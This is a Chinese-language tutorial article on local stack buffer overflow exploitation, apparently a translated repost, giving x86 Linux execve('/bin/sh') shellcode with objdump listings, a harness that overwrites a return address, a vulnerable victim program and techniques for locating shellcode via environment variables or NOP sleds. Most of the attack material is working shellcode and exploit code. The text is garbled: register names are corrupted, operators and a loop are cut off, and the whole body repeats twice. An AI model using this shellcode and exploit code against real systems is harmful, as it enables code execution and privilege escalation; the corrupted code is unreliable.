缓冲区溢出的解密方法
互联网 发布时间：2008-10-08 19:03:01 作者：佚名 
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我要评论如何执行 /bin/sh?
在C中，spawn出一个shell的代码可能象这样：
shell.c :
#include
void main()
{
char *shell[2];
shell[0] = "/bin/sh";
shell[1] = NULL;
execve(shell[0], shell, NULL);
}
[m
因此，在讲了这么多以后，我们所要做的全部就是把这些汇编指令转换到一个字符串中。因此，让我们得到这些十六进制运赛码然后汇编我们的攻击代码：
sc.c :
char newsc[]= /* 24 bytes */
"\x31\xc0" /* xorl 陎,陎 */
"\x50" /* pushl 陎 */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,離 */
"\x50" /* pushl 陎 */
"\x53" /* pushl 離 */
"\x89\xe1" /* movl %esp,靫 */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
main()
{
}
[murat@victim newsc]$ gcc -g -o sc sc.c
[murat@victim newsc]$ objdump -D sc | grep \ -A13
080494b0 :
80494b0: 31 c0 xorl 陎,陎
80494b2: 50 pushl 陎
80494b3: 68 2f 2f 73 68 pushl $0x68732f2f
80494b8: 68 2f 62 69 6e pushl $0x6e69622f
80494bd: 89 e3 movl %esp,離
80494bf: 50 pushl 陎
80494c0: 53 pushl 離
80494c1: 89 e1 movl %esp,靫
80494c3: 99 cltd
80494c4: b0 0b movb $0xb,%al
80494c6: cd 80 int $0x80
80494c8: 00 00 addb %al,(陎)
...
[murat@victim newsc]$
在上面的图中，第一行是指令内存地址，接下面的行是汇编指令的运算码，这也是我们兴趣所在，而最后一行是与运算码相关的汇编指令。
那么，这里就是完整的shell代码：
"\x31\xc0" /* xorl 陎,陎 */
"\x50" /* pushl 陎 */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,離 */
"\x50" /* pushl 陎 */
"\x53" /* pushl 離 */
"\x89\xe1" /* movl %esp,靫 */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
最后测试我们的shell代码：
shellcode.c :
char sc[]= /* 24 bytes */
"\x31\xc0" /* xorl 陎,陎 */
"\x50" /* pushl 陎 */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,離 */
"\x50" /* pushl 陎 */
"\x53" /* pushl 離 */
"\x89\xe1" /* movl %esp,靫 */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
main()
{
int *ret;
ret = (int *)&ret 2;
*ret = sc;
}
[murat@victim newsc]$ gcc -g -o shellcode shellcode.c
[murat@victim newsc]$ ./shellcode
bash$
嗯，它生效了。上面我们所做的是，增加ret的地址2个双字(8字节)，因而就到了main()的返回地址存储的内存位置。接着，因为ret相应的地址现在是RET，我们把字符串sc(就是我们的攻击代码)的地址存到ret。实际上，我们在这里改变了返回地址的值，而这个返回地址就指向了sc[]。当main()发送RET时，sc的地址写到EIP中了，接着，CPU开始在这执行指令，造成了/bin/sh的执行。
写本地缓冲区溢出漏洞利用程序
现在，让我们看看下面的程序：
victim.c :
char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
char large_str[50];
void main()
{
int i;
char foo[12];
int *ap = (int *)large_str;
for (i = 0; i
瞧!就是它了!我们做了什么？在for循环里面，我们拷贝了我们的shellcode字符串的地址。由于地址是32位(4字节)，我们以4为步长增加i。接着，在main()里，当我们把有我们shellcode地址的large_str拷到实际只能容纳12字节的foo,strcpy没有边界检查，而且一直拷贝到main的返回地址。接着，当strcpy指令发送到RET，我们shellcode的地址已经被POP进去了，而且放入了EIP。接着它就被执行了。这里有一件事是：strcpy没有溢出它的缓冲区，它溢出了main()的缓冲区，因此覆盖了main()的返回地址。我们的shell在main()返回的时候开始，而不是strcpy返回的时候。
上面的victim.c是我们的程序。我们知道我们的shellcode跳转的地址。如果我们要求利用另外程序的缓冲区又该如何去做呢？我们不能预先知道内存的布局，不是吗？这也意味着我们不知道我们的shellcode的地址。我们现在该怎么做呢？首先，我们必须用某些途径把shellcode植入到有弱点的程序，而且无论怎样我们必须得到shellcode的地址。当我们谈论本地漏洞利用时，有两种方法。
1．如Aleph1的著名文章”Smashing the Stack for Fun and Profit”所介绍的，我们把我们的shellcode放置到有缺陷程序的缓冲区，而且尝试着猜测到我们漏洞利用程序的ESP偏移量。2.这第二个方式更加简单和聪明。通过这种方法，我们能知道我们shellcode的地址!这真是太好了!怎么做？看这个：如果你在一个linux ELF二进制文件第一次装入内存的时候通过gdb看它的高位地址，你将看到象这样的一些东西：
--------------------- 0xBFFFFFFF
|\000 \000 \000 \000| 0xBFFFFFFB (4 NULL byte)
|\000 ...... | 0xBFFFFFFA (program_name)
| ..................|
|...................| n. environment variable (env[n])
|...................| n-1. environment variable (env[n-1])
|...................| ...
|...................| 1. environment variable (env[0])
|...................| ...
|...................| n. argument string (argv[n])
|...................| n-1. argument string (argv[n-1])
|...................| ...
| . |
| . |
| . |
看上面的图，我们都会同意我们能计算最后一个环境变量地址。它是：
envp = 0xBFFFFFFF -
4 - (4 NULL bytes)
strlen(program_name) - (program_names's length - without the leading NULL).
1 - (NULL which strlen did not count above)
strlen(envp[n])) (the length of last environment string)
除去一些不必要的计算，这里是最终的结果：
envp = 0xBFFFFFFA - strlen(prog_name) - strlen(envp[n])
你还记得我们给execve提供一个环境指针吗？这有没有让你想起什么？对了，我们可以通过这个环境指针把我们的shellcode传给漏洞程序，并且计算它的地址。这意味着我们完全知道我们需要写什么地址到漏洞缓冲区。
计算我们的shellcode 地址的公式：
ret = 0xBFFFFFFA - strlen(prog_name) - strlen(sc);
至于Aleph1在他的文章中讨论的在外面被广泛使用的方法，多少有点比我们的环境变量技术难得多。关于细节你们可以看Aleph1的文章，Smashing the Stack for Fun and Profit。
一般来说，在这个方法中，我们把”NOP”指令(NOP)放在缓冲区的开始。NOP之后，我们放置我们的shellcode，接着是这个shellcode的地址。
如我前面所说的，既然我们不知道我们shellcode的准确地址，我们在缓冲区开头填一些NOP指令增加我们跳到我们的shellcode附近一些位置的可能性。
sc.c :
char newsc[]= /* 24 bytes */
"\x31\xc0" /* xorl 陎,陎 */
"\x50" /* pushl 陎 */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,離 */
"\x50" /* pushl 陎 */
"\x53" /* pushl 離 */
"\x89\xe1" /* movl %esp,靫 */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
main()
{
}
[murat@victim newsc]$ gcc -g -o sc sc.c
[murat@victim newsc]$ objdump -D sc | grep \ -A13
080494b0 :
80494b0: 31 c0 xorl 陎,陎
80494b2: 50 pushl 陎
80494b3: 68 2f 2f 73 68 pushl $0x68732f2f
80494b8: 68 2f 62 69 6e pushl $0x6e69622f
80494bd: 89 e3 movl %esp,離
80494bf: 50 pushl 陎
80494c0: 53 pushl 離
80494c1: 89 e1 movl %esp,靫
80494c3: 99 cltd
80494c4: b0 0b movb $0xb,%al
80494c6: cd 80 int $0x80
80494c8: 00 00 addb %al,(陎)
...
[murat@victim newsc]$
在上面的图中，第一行是指令内存地址，接下面的行是汇编指令的运算码，这也是我们兴趣所在，而最后一行是与运算码相关的汇编指令。
那么，这里就是完整的shell代码：
"\x31\xc0" /* xorl 陎,陎 */
"\x50" /* pushl 陎 */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,離 */
"\x50" /* pushl 陎 */
"\x53" /* pushl 離 */
"\x89\xe1" /* movl %esp,靫 */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
最后测试我们的shell代码：
shellcode.c :
char sc[]= /* 24 bytes */
"\x31\xc0" /* xorl 陎,陎 */
"\x50" /* pushl 陎 */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,離 */
"\x50" /* pushl 陎 */
"\x53" /* pushl 離 */
"\x89\xe1" /* movl %esp,靫 */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
main()
{
int *ret;
ret = (int *)&ret 2;
*ret = sc;
}
[murat@victim newsc]$ gcc -g -o shellcode shellcode.c
[murat@victim newsc]$ ./shellcode
bash$
嗯，它生效了。上面我们所做的是，增加ret的地址2个双字(8字节)，因而就到了main()的返回地址存储的内存位置。接着，因为ret相应的地址现在是RET，我们把字符串sc(就是我们的攻击代码)的地址存到ret。实际上，我们在这里改变了返回地址的值，而这个返回地址就指向了sc[]。当main()发送RET时，sc的地址写到EIP中了，接着，CPU开始在这执行指令，造成了/bin/sh的执行。
写本地缓冲区溢出漏洞利用程序
现在，让我们看看下面的程序：
victim.c :
char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
char large_str[50];
void main()
{
int i;
char foo[12];
int *ap = (int *)large_str;
for (i = 0; i
瞧!就是它了!我们做了什么？在for循环里面，我们拷贝了我们的shellcode字符串的地址。由于地址是32位(4字节)，我们以4为步长增加i。接着，在main()里，当我们把有我们shellcode地址的large_str拷到实际只能容纳12字节的foo,strcpy没有边界检查，而且一直拷贝到main的返回地址。接着，当strcpy指令发送到RET，我们shellcode的地址已经被POP进去了，而且放入了EIP。接着它就被执行了。这里有一件事是：strcpy没有溢出它的缓冲区，它溢出了main()的缓冲区，因此覆盖了main()的返回地址。我们的shell在main()返回的时候开始，而不是strcpy返回的时候。
上面的victim.c是我们的程序。我们知道我们的shellcode跳转的地址。如果我们要求利用另外程序的缓冲区又该如何去做呢？我们不能预先知道内存的布局，不是吗？这也意味着我们不知道我们的shellcode的地址。我们现在该怎么做呢？首先，我们必须用某些途径把shellcode植入到有弱点的程序，而且无论怎样我们必须得到shellcode的地址。当我们谈论本地漏洞利用时，有两种方法。
1．如Aleph1的著名文章”Smashing the Stack for Fun and Profit”所介绍的，我们把我们的shellcode放置到有缺陷程序的缓冲区，而且尝试着猜测到我们漏洞利用程序的ESP偏移量。2.这第二个方式更加简单和聪明。通过这种方法，我们能知道我们shellcode的地址!这真是太好了!怎么做？看这个：如果你在一个linux ELF二进制文件第一次装入内存的时候通过gdb看它的高位地址，你将看到象这样的一些东西：
--------------------- 0xBFFFFFFF
|\000 \000 \000 \000| 0xBFFFFFFB (4 NULL byte)
|\000 ...... | 0xBFFFFFFA (program_name)
| ..................|
|...................| n. environment variable (env[n])
|...................| n-1. environment variable (env[n-1])
|...................| ...
|...................| 1. environment variable (env[0])
|...................| ...
|...................| n. argument string (argv[n])
|...................| n-1. argument string (argv[n-1])
|...................| ...
| . |
| . |
| . |
看上面的图，我们都会同意我们能计算最后一个环境变量地址。它是：
envp = 0xBFFFFFFF -
4 - (4 NULL bytes)
strlen(program_name) - (program_names's length - without the leading NULL).
1 - (NULL which strlen did not count above)
strlen(envp[n])) (the length of last environment string)
除去一些不必要的计算，这里是最终的结果：
envp = 0xBFFFFFFA - strlen(prog_name) - strlen(envp[n])
你还记得我们给execve提供一个环境指针吗？这有没有让你想起什么？对了，我们可以通过这个环境指针把我们的shellcode传给漏洞程序，并且计算它的地址。这意味着我们完全知道我们需要写什么地址到漏洞缓冲区。
计算我们的shellcode 地址的公式：
ret = 0xBFFFFFFA - strlen(prog_name) - strlen(sc);
至于Aleph1在他的文章中讨论的在外面被广泛使用的方法，多少有点比我们的环境变量技术难得多。关于细节你们可以看Aleph1的文章，Smashing the Stack for Fun and Profit。
一般来说，在这个方法中，我们把”NOP”指令(NOP)放在缓冲区的开始。NOP之后，我们放置我们的shellcode，接着是这个shellcode的地址。
如我前面所说的，既然我们不知道我们shellcode的准确地址，我们在缓冲区开头填一些NOP指令增加我们跳到我们的shellcode附近一些位置的可能性。
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